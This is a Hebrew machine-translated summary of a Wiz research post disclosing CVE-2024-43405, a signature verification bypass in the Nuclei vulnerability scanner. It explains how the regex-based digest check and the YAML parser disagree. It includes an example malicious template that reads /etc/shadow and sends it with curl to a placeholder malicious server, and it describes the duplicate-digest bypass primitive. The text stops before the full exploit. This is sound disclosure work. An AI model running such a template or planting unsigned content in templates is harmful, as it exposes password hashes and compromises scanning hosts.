חזרה לפיד
articlesמקור: Wiz Blog3.1.2025

שבירת השרשרת: Wiz חושפת עקיפת אימות חתימה ב-Nuclei (CVE-2024-43405)

אמ;לק

צוות הנדסת ה-Wiz גילה פרצת אבטחה קריטית (CVE-2024-43405) ב-Nuclei, כלי פופולרי לבדיקות אבטחה. הפרצה, מסוג עקיפת אימות חתימה, עלולה לאפשר הרצת קוד שרירותי.

סיכום בעברית: מערכת VibeSec · מדיניות המקורות

נוסף ל-VibeSec:

כותרת מקורית: Breaking the Chain: Wiz Uncovers a Signature Verification Bypass in Nuclei, the Popular Vulnerability Scanner (CVE-2024-43405)

שבירת השרשרת: Wiz חושפת עקיפת אימות חתימה ב-Nuclei (CVE-2024-43405)

התוכן המלא בעברית

תרגום אוטומטי מהמקור; מונחים טכניים נשארו באנגלית. לנוסח המחייב — הכתבה המקורית.

במאמץ המתמשך שלנו לשפר את אבטחת הסייבר, צוות ההנדסה של Wiz זיהה וסייע בתיקון פגיעות משמעותית ב-Nuclei, כלי אבטחה בקוד פתוח בשימוש נרחב מבית ProjectDiscovery. דבר זה משקף את המסירות שלנו לחיזוק המערכת האקולוגית הביטחונית כולה, כולל הכלים שאנחנו ורבים אחרים מסתמכים עליהם.

Nuclei, עם למעלה מ-21,000 כוכבים ב-⁦GitHub⁩ ו-2.1 מיליון הורדות מרשימות, הפך לאבן יסוד בערימות האבטחה של ארגונים רבים, כולל שלנו ב-⁦Wiz⁩. הפופולריות שלו נובעת מהגמישות והיעילות שלו באיתור נקודות תורפה בנכסים דיגיטליים שונים. האימוץ הנרחב הזה מדגיש את התפקיד הקריטי שממלא ⁦Nuclei⁩ בקהילת האבטחה, מה שהופך את זה לחיוני לזהות באופן יזום ולטפל בכל נקודות תורפה פוטנציאליות כדי לשמור על שלמותה ואמינותה.

Nuclei הוא כלי מפתח בארסנל ניהול משטח התקיפה החיצוני (EASM) של Wiz, התורם ליכולות סריקת האבטחה המקיפות שלנו.

בעוד שהרבגוניות של Nuclei הופכת אותו לבעל ערך רב, אנו מכירים בסיכונים הטמונים בהפעלת כל כלי חיצוני. כשיטת אבטחה מומלצת (Best Practice), אנו מפעילים את Nuclei בסביבה מבודדת ומאובטחת היטב. גישה זו מפחיתה משמעותית סיכונים פוטנציאליים ועולה בקנה אחד עם המחויבות שלנו לאמצעי אבטחה חזקים.

לאור האימוץ הנרחב של Nuclei בקהילת האבטחה, זיהינו את ההשפעה הפוטנציאלית בתעשייה של כל פגיעות בכלי. זה הוביל אותנו לבחון מקרוב את בסיס הקוד של Nuclei, מה שהוביל לגילוי CVE-2024-43405, פגיעות בחומרה גבוהה עם השלכות מרחיקות לכת.

כיצד Nuclei פועל

כוחו של Nuclei טמון במערכת התבניות הגמישה שלו, המבוססת על YAML. תבניות אלו מגדירות את הלוגיקה לאיתור פגיעויות, תצורות שגויות ובעיות אבטחה אחרות בפרוטוקולים וטכנולוגיות שונות.

לדוגמה, שקול את התבנית הבאה:

⁦id : 1189c2fd-4d25-4f92-9c1c-208125397237 info : name : Ollama before 0.1.34 is vulnerable to remote code execution author : Wiz Research severity : Critical description : Publicly exposed Ollama instance is vulnerable to Remote Code Execution in Ollama (CVE-2024-37032) metadata : max-request : 1 http : - method : GET path : - '{{BaseURL}}/api/version' matchers-condition : and matchers : - type : status status : - 200 - type : word words : - '"version":"' part : body - type : dsl name : vulnerable_version dsl : - compare_versions(detected_version, "<=0.1.34") extractors : - type : json part : body name : detected_version json : - .version # digest: 27066e6af9b75f3f1ff666635b0975fbc05a2db80526c13ee9ea7c302e303136:922c64590222798bb761d5b6d8e72951⁩

תבנית זו בודקת גרסה פגיעה של Ollama המועדת לביצוע קוד מרחוק (CVE-2024-37032). היא מדגימה כיצד תבניות Nuclei מפשטות בדיקות אבטחה מורכבות באמצעות פורמט ברור מבוסס YAML.

Nuclei תומך במגוון פרוטוקולים, כולל HTTP, TCP, DNS, TLS ו-Code. פרוטוקול ה-Code מאפשר ביצוע של קוד חיצוני במערכת ההפעלה המארחת, מה שמאפשר פונקציונליות רבת עוצמה אך מסוכנת.

פרוטוקול ה-Code

תבניות המשתמשות בפרוטוקול הקוד יכולות לבצע פקודות באופן מקומי במערכת ההפעלה המארחת. יכולת זו יכולה להיות שימושית עבור חוקרי אבטחה המעריכים את מצב האבטחה של המערכות שלהם. עם זאת, כאשר תבניות כאלה מופעלות על מערכות ייצור, הן מסתכנות בביצוע קוד זדוני באופן מקומי, שעלול לסכן שרתים או תשתית.

סיכון בעולם האמיתי: תבנית זדונית

הגמישות של תבניות ⁦Nuclei⁩ פירושה שניתן ליצור אותן למטרות לגיטימיות או זדוניות. לדוגמה, התבנית הבאה מדגימה כיצד תוקף עשוי לנצל את פרוטוקול הקוד כדי להוציא נתונים רגישים מהמארח המריץ את התבנית:

⁦id : shadow-leak info : name : Unauthorized /etc/shadow Exfiltration author : attacker severity : critical code : - engine : - sh - bash source : | cat /etc/shadow | curl -X POST -d @- http://malicious-server.com/upload # digest: ec871480d85b1756d8afd04cdc76ac6edf875f1d8a4192f74193a362dc7ec180:922c64590222798bb761d5b6d8e72951⁩

תבנית זו מנצלת את פרוטוקול הקוד כדי לקרוא את הקובץ ⁦/etc/shadow⁩ ולשלוח אותו לשרת מרוחק. כעיקרון אבטחה בסיסי, אין להפעיל קוד לא מהימן בסביבה שאינה ממוקמת בארגז חול. ללא אמצעי הגנה נאותים כמו אימות חתימה, הדבר עלול להוביל לגישה לא מורשית לנתונים ולפגיעה במערכת.

⁦Signature Verification Mechanism⁩

כדי להתמודד עם סיכונים אלה, ProjectDiscovery הטמיע מנגנון אימות חתימה. כל מנועי Nuclei סומכים על ProjectDiscovery, והתבניות במאגר התבניות הרשמי שלהם חתומות אוטומטית כדי להבטיח את שלמותן ומקורן. חתימה זו מוטמעת בהערה # digest: <signature> בסוף כל תבנית, ומשמשת כערובה קריפטוגרפית לאותנטיות.

מכיוון שאימות חתימה זה הוא כרגע השיטה היחידה הזמינה לאימות תבניות ⁦Nuclei⁩, הוא מייצג נקודת כשל בודדת. תפקיד קריטי זה הניע אותנו לחקור את חוסנו ותקינותו כנגד מעקפים פוטנציאליים.

החתימה של Nuclei מסתמכת על קידוד ⁦ASN.1⁩ עם ⁦ECDSA⁩ באמצעות עקומת ⁦P-256⁩ ו-⁦SHA-256⁩, תקן מאומץ ומאובטח הידוע בייצור חתימות דיגיטליות קומפקטיות ויעילות.

תהליך האימות של Nuclei כולל ארבעה שלבים:

• חילוץ החתימה: השתמש ב-regex כדי למצוא את השורה # digest:.

• הסרת החתימה: אל תכלול את שורת החתימה מתוכן התבנית.

• חישוב ה-Hash: בצע גיבוב (Hashing) לתוכן ללא החתימה.

• אימות החתימה: השווה את ה-hash המחושב עם החתימה שחולצה כדי להבטיח אותנטיות.

אם התבנית מאומתת בהצלחה, היא מנותחת כ-⁦YAML⁩ באמצעות הספרייה ⁦gopkg.in/yaml.v2⁩ של ⁦Go⁩ ולאחר מכן מבוצעת.

הקטע הבא נלקח מ-⁦Nuclei⁩, ומכיל את ההיגיון החשוב של קוד אימות החתימה.

var ( ReDigest = regexp.MustCompile(`(?m)^#\sdigest:\s.+$`) SignaturePattern = "# digest: " ) func RemoveSignatureFromData(data []byte) []byte { return bytes.Trim(ReDigest.ReplaceAll(data, []byte("")), "\n") } func (t *TemplateSigner) Verify(data []byte) (bool, error) { digestData := ReDigest.Find(data) if len(digestData) == 0 { return false, errors.New("digest not found") } digestData = bytes.TrimSpace(bytes.TrimPrefix(digestData, []byte(SignaturePattern))) digestString := strings.TrimSuffix(string(digestData), ":"+t.GetUserFragment()) digest, err := hex.DecodeString(digestString) if err != nil { return false, err } buff := bytes.NewBuffer(RemoveSignatureFromData(data)) // Verify using standard Go's ECDSA if !t.verify(sha256.Sum256(buff.Bytes()), digest) { return false, errors.New("signature verification failed") } return true, nil } // SecureExecute הוא mock שיצרנו ב-Wiz שמדמה את הלוגיקה של Nuclei כדי להמחיש את הפגיעות, // אימות חתימת תבנית, ניתוח שלה כ-YAML וביצוע שלה. func SecureExecute(rawTemplate []byte, verifier *TemplateSigner) (interface{}, error) { // Verify the template signature isVerified, err := verifier.Verify(rawTemplate) if err != nil || !isVerified { return nil, errors.New("template verification failed") } // Parse the template template := &Template{} err = yaml.Unmarshal(rawTemplate, template) if err != nil { return nil, errors.New("couldn't unmarshal template") } // Execute the template and return the result return template.execute() }

זיהוי דגלים אדומים פוטנציאליים

בהסתכלות על הקטע שלמעלה, אנו יכולים לזהות לוגיקה שעלולה להיות פגיעה. אמנם כל אחד מהיישומים הבעייתיים הללו אינו משמעותי במיוחד בפני עצמו, אך ייתכן שנוכל למנף אותם בשילוב כנקודת תורפה.

🚩 לוגיקה קריטית לאבטחה המשתמשת ב-Regex

בעוד ש-Regex יעיל להתאמת דפוסים, הסתמכות עליו לפעולות קריטיות לאבטחה עלולה להיות מסוכנת. המורכבות ומקרי הקצה שלו עשויים להוביל לאי-התאמות עדינות, ולפתוח את הדלת לתוקפים לנצל התנהגות לא מכוונת. בהקשר זה, שימוש ב-Regex עבור אימות חתימה מציג הזדמנויות לעקוף בדיקות אבטחה.

בלוגיקת אימות החתימה הזו אנו יכולים לראות שגם חילוץ החתימה וגם ההסרה יושמו באמצעות ביטוי רגיל.

⁦ReDigest := regexp.MustCompile(⁩(?m)^#\sdigest:\s.+$⁦) // ... digestData := ReDigest.Find(data) // ... template := ReDigest.ReplaceAll(data, []byte(""))⁩

🚩 חוסר התאמה בין מציאת חתימה ראשונה להסרת כל החתימות

היישום משתמש ב-⁦ReDigest.Find⁩ כדי למצוא את החתימה הראשונה, אך מאוחר יותר משתמש ב-⁦ReDigest.ReplaceAll⁩ כדי להסיר את החתימה מהתבנית. ReplaceAll יסיר את כל החתימות מהתוכן. זה כשלעצמו אינו פגיעות, אבל זה פרימיטיבי שעלינו לזכור.

⁦id : 272a78ad-9d63-4cc2-a715-be1657385d52 info : name : Jenkins should not allow remote unauthenticated access to script console author : Wiz Research # digest: <signature1> # digest: <signature2>⁩

בתבנית זו, ⁦signature1⁩ ישמש לאימות בעוד שהתוכן המאומת יהיה:

⁦id : 272a78ad-9d63-4cc2-a715-be1657385d52 info : name : Jenkins should not allow remote unauthenticated access to script console author : Wiz Research⁩

בפועל, זה מאפשר לנו "להסתיר" מידע ב-# שורות תקציר מיותרות שלא ייחשבו בעת חישוב תקציר אימות החתימה.

🚩 קונפליקט בין מנתחים (Parsers): Regex ו-YAML

אותו תוכן תבנית משמש הן ללוגיקה של ניתוח התבנית והן לאימות החתימה.

// שים לב שאותו `rawTemplate` מועבר הן ל-`Verify` והן ל-YAML isVerified, err := verifier.Verify(rawTemplate) // Verify using regex if err != nil || !isVerified { return nil, errors.New("template verification failed") } template := &Template{} err = yaml.Unmarshal(rawTemplate, template) // Parse using YAML if err != nil { return nil, errors.New("couldn't unmarshal template") } // The YAML parsed template is executed return template.execute()

שימוש בשני מנתחים שונים על אותו תוכן מציג סיכון לחוסר עקביות באופן שבו הם מפרשים את הנתונים. למרות שאינה מהווה פגיעות בפני עצמה, אי-התאמות אלו עלולות להוביל להתנהגות בלתי צפויה אם ניצלו.

מנתח החתימות המבוסס על regex משתמש בתבנית (?m)^#\\sdigest:\s.+$ כדי לזהות שורות המתחילות ב-# digest:. בינתיים, המנתח YAML מתייחס ל-# digest: כהערה, תוך התעלמות ממנה במהלך הביצוע. זה יוצר חוסר התאמה: לוגיקת אימות החתימה פועלת על סמך כללי ביטוי רגולרי, בעוד שהלוגיקה של הביצוע מסתמכת על ניתוח YAML.

הבדל זה מדגיש נקודת תורפה פוטנציאלית שבה תהליכי אימות וביצוע עשויים שלא להתיישר בצורה מושלמת.

מחולשות לפגיעות

כעת, לאחר שזיהינו את הדפוסים החשודים הללו, אפשר לחקור כיצד ניתן לכבול אותם יחד לכדי פגיעות מעשית.

התובנה העיקרית נעוצה בחוסר ההתאמה בין האופן שבו תהליך אימות החתימה לבין המנתח ⁦YAML⁩ מטפל בתוכן תבנית. ספציפית:

• אימות חתימה ראשונה בלבד: תהליך אימות החתימה בודק רק את השורה הראשונה של # digest:, אך מסיר את כל השורות הללו מהתוכן המגובב. זה מאפשר לשורות # digest: נוספות ולא מאומתות להתקיים בתבנית מבלי שמנגנון האימות יבחין בהן.

• דו-משמעות במעברי שורה: כדי שהמנתח המבוסס על regex יסיר שורה, היא חייבת להתחיל ב-#, שהמנתח YAML מתייחס אליה כהערה. אבל מה אם המנתח YAML מחשיב שהשורה הסתיימה, בעוד שמנתח ה-Regex לא? חוסר עקביות כזה יכול לאפשר לנו להחדיר תוכן נוסף לתבנית—תוכן שעוקף אימות אך מבוצע על ידי המנתח YAML.

כדי להבין זאת טוב יותר, נפנה למפרט ⁦YAML⁩:

לפי מפרט זה, ⁦YAML⁩ מתייחס לתווים הבאים כאל מעברי שורה: ⁦x0A⁩ (⁦\n⁩ ), ⁦x0D⁩ (⁦\r⁩ ), או שילוב של השניים (⁦\r\n⁩ ).

עם זאת, לניתוח regex ב-Go יש פרשנות משלו למעברי שורות. כדי לבדוק זאת, בחנו כיצד מנוע ה-Regex של Go מתנהג עם ה-Regex של חילוץ החתימה.

#supply-chain#nuclei#vulnerability#code-execution#cve
קרא במקור